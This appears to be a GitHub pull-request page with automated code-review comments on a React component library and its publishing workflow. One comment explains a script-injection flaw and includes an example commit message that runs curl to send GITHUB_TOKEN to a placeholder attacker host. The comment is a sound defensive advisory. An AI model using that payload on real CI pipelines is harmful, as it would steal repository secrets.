It’s defined in the CSS Object Model (CSSOM) Module Level 1 specification (“The CSS.escape() Method”). [2]
Browser support
According to Can I use, CSS.escape() support begins at: Chrome 46+, Firefox 31+, Safari 10.1+, Edge 79+ (Chromium-based); it is not supported in legacy Edge 12–18. [3]
MDN also marks it as “widely available” across browsers (MDN notes cross-browser availability since January 2020). [1]
Polyfill (for older browsers like IE / legacy Edge)
A commonly used polyfill is Mathias Bynens’ CSS.escape polyfill, which follows the CSSOM escaping algorithm and defines CSS.escape if missing. [4]
Common gotcha
Don’t confuse CSS.escape() with the old global escape() function (different API; escape() is legacy/non-recommended). [1]
Sources: MDN [1], CSSOM spec [2], Can I use [3], CSS.escape polyfill repo [4].
Escape id and globalKey in CSS selectors and guard all localStorage access.
Lines 145 and 149 interpolate globalKey and id directly into CSS selectors and JavaScript. If id contains special characters (quotes, brackets, spaces), this breaks selectors and opens an injection vector. Additionally, both the useEffect read (line 117) and the onClick write (line 192) access localStorage without error handling—this fails silently in private browsing, restricted contexts, or when storage is disabled.
Move storage logic to useEffect with error handling, and escape all identifier interpolations:
- Use
CSS.escape()for safe selector construction (supported in Chrome 46+, Firefox 31+, Safari 10.1+, Edge 79+; polyfill needed for IE11 and legacy Edge). - Wrap all
localStoragecalls in try-catch to handle access failures gracefully. - Verify call sites pass only static, safe
idvalues.
🧰 Tools
🪛 ast-grep (0.41.0)
[warning] 147-147: Usage of dangerouslySetInnerHTML detected. This bypasses React's built-in XSS protection. Always sanitize HTML content using libraries like DOMPurify before injecting it into the DOM to prevent XSS attacks.
Context: dangerouslySetInnerHTML
Note: [CWE-79] Improper Neutralization of Input During Web Page Generation [REFERENCES]
- https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
- https://cwe.mitre.org/data/definitions/79.html
(react-unsafe-html-injection)
🪛 Biome (2.4.4)
[error] 148-148: Avoid passing content using the dangerouslySetInnerHTML prop.
(lint/security/noDangerouslySetInnerHtml)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/src/components/banner.tsx` around lines 145 - 150, The
banner component currently injects unescaped identifiers and accesses
localStorage without guards; update the component so all interpolations of
globalKey and id use CSS.escape() (or a polyfill) when building selectors and
script strings (e.g., where the inline <style> and <script> are generated), move
all localStorage reads/writes into a useEffect handler (replace ad-hoc inline
script and any direct onClick write at the onClick site) and wrap every
localStorage access in try-catch to gracefully handle failures, and add a
runtime assertion or validation where the component receives id/globalKey to
ensure only safe/static ids are passed.
| function useCopyButton(copy: () => void | Promise<void>, timeout = 2000) { | ||
| const [checked, setChecked] = useState(false); | ||
|
|
||
| const onClick = useCallback(async () => { | ||
| await copy(); | ||
| setChecked(true); | ||
| window.setTimeout(() => { | ||
| setChecked(false); | ||
| }, timeout); | ||
| }, [copy, timeout]); | ||
|
|
||
| return [checked, onClick] as const; | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, let's check the actual content of the codeblock.tsx file around the mentioned lines
cat -n packages/eclipse/src/components/codeblock.tsx | head -50Repository: prisma/web
Length of output: 1569
🏁 Script executed:
# Check for useCopyButton or similar patterns in accordion.tsx
rg -n 'useCopyButton|function use|await copy|setTimeout|useEffect.*timeout' packages/eclipse/src/components/accordion.tsxRepository: prisma/web
Length of output: 240
🏁 Script executed:
# Get the full useCopyButton implementation from accordion.tsx
sed -n '23,35p' packages/eclipse/src/components/accordion.tsxRepository: prisma/web
Length of output: 398
Fix unhandled rejections, timeout races, and unmount leaks in useCopyButton across both component files.
The hook in both codeblock.tsx (lines 20–32) and accordion.tsx (lines 23+) has three critical issues:
await copy()lacks error handling—if copy rejects, the component crashes- No timeout tracking means rapid clicks stack multiple pending state updates, causing incorrect UI state
- No cleanup on unmount leaves dangling timers, triggering "setState on unmounted component" warnings
Additionally, the identical implementation in both files should be consolidated to a single shared utility.
Proposed fix (apply to both files):
- Wrap
copy()in try-catch to reset state on failure - Use
useRefto track and clear previous timeouts before scheduling new ones - Add
useEffectcleanup to clear pending timeouts on unmount - Consider moving the hook to a shared utility module to eliminate duplication
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/src/components/codeblock.tsx` around lines 20 - 32, The
useCopyButton hook currently awaits copy() without error handling, doesn't
track/clear timeouts, and leaks timers on unmount; update useCopyButton to wrap
the await copy() call in try/catch (ensure a failed copy resets state and
doesn't throw), store the timeout id in a useRef so you clear any existing
timeout before setting a new one to prevent stacked timers, and add a useEffect
cleanup that clears the ref'd timeout on unmount to avoid setState-on-unmounted
warnings; after fixing both codeblock.tsx and accordion.tsx, extract this
corrected useCopyButton into a shared utility module and import it from both
components to remove duplication.
| "text-muted-foreground text-sm font-normal leading-normal !m-0 group-has-[[data-orientation=horizontal]]/field:text-balance", | ||
| "nth-last-2:!-mt-1 last:!mt-0 [[data-variant=legend]+&]:!-mt-1.5", |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== 1) Detect Tailwind version declarations ==="
rg -nP '"tailwindcss"\s*:\s*"[^"]+"' --glob '**/package.json'
echo
echo "=== 2) Check if package-lock.json or yarn.lock exists and Tailwind version ==="
if [ -f "package-lock.json" ]; then
echo "Found package-lock.json, extracting Tailwind version:"
rg -A 2 '"name": "tailwindcss"' package-lock.json | head -20
elif [ -f "yarn.lock" ]; then
echo "Found yarn.lock, extracting Tailwind version:"
rg '"tailwindcss@' yarn.lock | head -10
else
echo "No lock file found"
fi
echo
echo "=== 3) Inspect the actual file at lines 140-220 ==="
if [ -f "packages/eclipse/src/components/field.tsx" ]; then
sed -n '140,220p' packages/eclipse/src/components/field.tsx
fiRepository: prisma/web
Length of output: 2458
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== Finding catalog definition in root or workspace config ==="
if [ -f "package.json" ]; then
echo "Root package.json catalog section:"
cat package.json | grep -A 20 '"catalog"' | head -30
fi
echo
if [ -f "pnpm-workspace.yaml" ]; then
echo "pnpm-workspace.yaml:"
cat pnpm-workspace.yaml
fi
echo
echo "=== Search for Tailwind in root package.json devDependencies/dependencies ==="
rg -A 5 '"tailwindcss"' package.json 2>/dev/null || echo "Not in root package.json"
echo
echo "=== Look for all package.json files with version constraints ==="
find . -name "package.json" -type f -exec grep -l "tailwindcss" {} \; | head -5 | while read f; do
echo "File: $f"
grep '"tailwindcss"' "$f"
doneRepository: prisma/web
Length of output: 151
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== Read full root package.json ==="
if [ -f "package.json" ]; then
cat package.json | head -100
fi
echo
echo "=== Look for workspace/catalog configuration ==="
if [ -f "pnpm-workspace.yaml" ]; then
cat pnpm-workspace.yaml
fi
echo
echo "=== Search for Tailwind references across entire package.json ==="
cat package.json | python3 << 'EOF'
import json
import sys
try:
data = json.load(sys.stdin)
if 'catalog' in data:
print("Catalog found:")
print(json.dumps(data['catalog'], indent=2))
if 'devDependencies' in data and 'tailwindcss' in data['devDependencies']:
print("Root devDependencies tailwindcss:", data['devDependencies']['tailwindcss'])
if 'dependencies' in data and 'tailwindcss' in data['dependencies']:
print("Root dependencies tailwindcss:", data['dependencies']['tailwindcss'])
except Exception as e:
print(f"Error: {e}")
EOFRepository: prisma/web
Length of output: 2941
🌐 Web query:
Tailwind CSS v4 important modifier syntax !important
💡 Result:
In Tailwind CSS v4, apply !important by suffixing the utility class with !:
bg-red-500!hover:bg-red-500!(the!goes at the end, after variants)
The old v3-style prefix (!bg-red-500, hover:!bg-red-500) is still supported for compatibility but is deprecated in v4. [1], [2]
Sources: [1], [2]
Migrate to Tailwind v4 important modifier suffix syntax.
The codebase uses Tailwind v4.2.0, which requires important modifiers to be suffixed (utility!), not prefixed (!utility). The prefix style is deprecated in v4 and should be updated across the component.
Lines 146–147 and line 212 all use the deprecated prefix syntax:
!m-0→m-0!nth-last-2:!-mt-1→nth-last-2:-mt-1!last:!mt-0→last:mt-0![[data-variant=legend]+&]:!-mt-1.5→[[data-variant=legend]+&]:-mt-1.5!
Suggested fix
- "text-muted-foreground text-sm font-normal leading-normal !m-0 group-has-[[data-orientation=horizontal]]/field:text-balance",
- "nth-last-2:!-mt-1 last:!mt-0 [[data-variant=legend]+&]:!-mt-1.5",
+ "text-muted-foreground text-sm font-normal leading-normal m-0! group-has-[[data-orientation=horizontal]]/field:text-balance",
+ "nth-last-2:-mt-1! last:mt-0! [[data-variant=legend]+&]:-mt-1.5!",- <li key={index} className="!m-0 marker:text-current">
+ <li key={index} className="m-0! marker:text-current">📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| "text-muted-foreground text-sm font-normal leading-normal !m-0 group-has-[[data-orientation=horizontal]]/field:text-balance", | |
| "nth-last-2:!-mt-1 last:!mt-0 [[data-variant=legend]+&]:!-mt-1.5", | |
| "text-muted-foreground text-sm font-normal leading-normal m-0! group-has-[[data-orientation=horizontal]]/field:text-balance", | |
| "nth-last-2:-mt-1! last:mt-0! [[data-variant=legend]+&]:-mt-1.5!", |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/src/components/field.tsx` around lines 146 - 147, Update
Tailwind important modifier usage in the Field component in
packages/eclipse/src/components/field.tsx by changing prefixed `!` modifiers to
the v4 suffix form: replace occurrences like `!m-0` with `m-0!`,
`nth-last-2:!-mt-1` with `nth-last-2:-mt-1!`, `last:!mt-0` with `last:mt-0!`,
and `[[data-variant=legend]+&]:!-mt-1.5` with
`[[data-variant=legend]+&]:-mt-1.5!` (also update the same pattern found later
around the class string near the other occurrence on line 212) so the
component’s className strings conform to Tailwind v4 important-modifier suffix
syntax.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/eclipse-publish.yml:
- Around line 28-34: The workflow is vulnerable because the raw expression `${{
github.event.head_commit.message }}` is expanded into the shell and can inject
commands; modify the "Extract version from commit message" step (id: version) to
pass the commit message via an environment variable (e.g., COMMIT_MSG) using the
workflow's env: block and then reference that env var inside the run script (use
safe expansion like "$COMMIT_MSG" or printf '%s' "$COMMIT_MSG") when running sed
to extract VERSION, ensuring all uses (echo "version=$VERSION" >>
"$GITHUB_OUTPUT" and the release log) continue to reference the derived VERSION
variable.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: e0992a12-b16f-4736-918c-d0630f28c77a
📒 Files selected for processing (1)
.github/workflows/eclipse-publish.yml
| - name: Extract version from commit message | ||
| id: version | ||
| run: | | ||
| VERSION=$(echo "${{ github.event.head_commit.message }}" | sed -E 's/^chore\(eclipse\): release ([0-9]+\.[0-9]+\.[0-9]+).*/\1/') | ||
| echo "version=$VERSION" >> "$GITHUB_OUTPUT" | ||
| echo "Releasing version: $VERSION" | ||
|
|
There was a problem hiding this comment.
Script injection vulnerability via untrusted commit message.
The commit message is interpolated directly into the shell script using ${{ github.event.head_commit.message }}. Since commit messages are user-controlled, a malicious actor with push access could craft a commit message containing shell metacharacters to execute arbitrary commands in the workflow context.
For example, a commit message like:
chore(eclipse): release 1.0.0$(curl attacker.com/exfil?t=$GITHUB_TOKEN)
would execute the injected command.
The fix is to pass the value through an environment variable, which prevents shell interpretation of the content.
🔧 Proposed fix using environment variable
- name: Extract version from commit message
id: version
+ env:
+ COMMIT_MESSAGE: ${{ github.event.head_commit.message }}
run: |
- VERSION=$(echo "${{ github.event.head_commit.message }}" | sed -E 's/^chore\(eclipse\): release ([0-9]+\.[0-9]+\.[0-9]+).*/\1/')
+ VERSION=$(echo "$COMMIT_MESSAGE" | sed -E 's/^chore\(eclipse\): release ([0-9]+\.[0-9]+\.[0-9]+).*/\1/')
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "Releasing version: $VERSION"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Extract version from commit message | |
| id: version | |
| run: | | |
| VERSION=$(echo "${{ github.event.head_commit.message }}" | sed -E 's/^chore\(eclipse\): release ([0-9]+\.[0-9]+\.[0-9]+).*/\1/') | |
| echo "version=$VERSION" >> "$GITHUB_OUTPUT" | |
| echo "Releasing version: $VERSION" | |
| - name: Extract version from commit message | |
| id: version | |
| env: | |
| COMMIT_MESSAGE: ${{ github.event.head_commit.message }} | |
| run: | | |
| VERSION=$(echo "$COMMIT_MESSAGE" | sed -E 's/^chore\(eclipse\): release ([0-9]+\.[0-9]+\.[0-9]+).*/\1/') | |
| echo "version=$VERSION" >> "$GITHUB_OUTPUT" | |
| echo "Releasing version: $VERSION" |
🧰 Tools
🪛 actionlint (1.7.11)
[error] 30-30: "github.event.head_commit.message" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/eclipse-publish.yml around lines 28 - 34, The workflow is
vulnerable because the raw expression `${{ github.event.head_commit.message }}`
is expanded into the shell and can inject commands; modify the "Extract version
from commit message" step (id: version) to pass the commit message via an
environment variable (e.g., COMMIT_MSG) using the workflow's env: block and then
reference that env var inside the run script (use safe expansion like
"$COMMIT_MSG" or printf '%s' "$COMMIT_MSG") when running sed to extract VERSION,
ensuring all uses (echo "version=$VERSION" >> "$GITHUB_OUTPUT" and the release
log) continue to reference the derived VERSION variable.
|
The latest updates on your projects. Learn more about Argos notifications ↗︎
|
2 participants
Summary by CodeRabbit
New Features
Chores
Documentation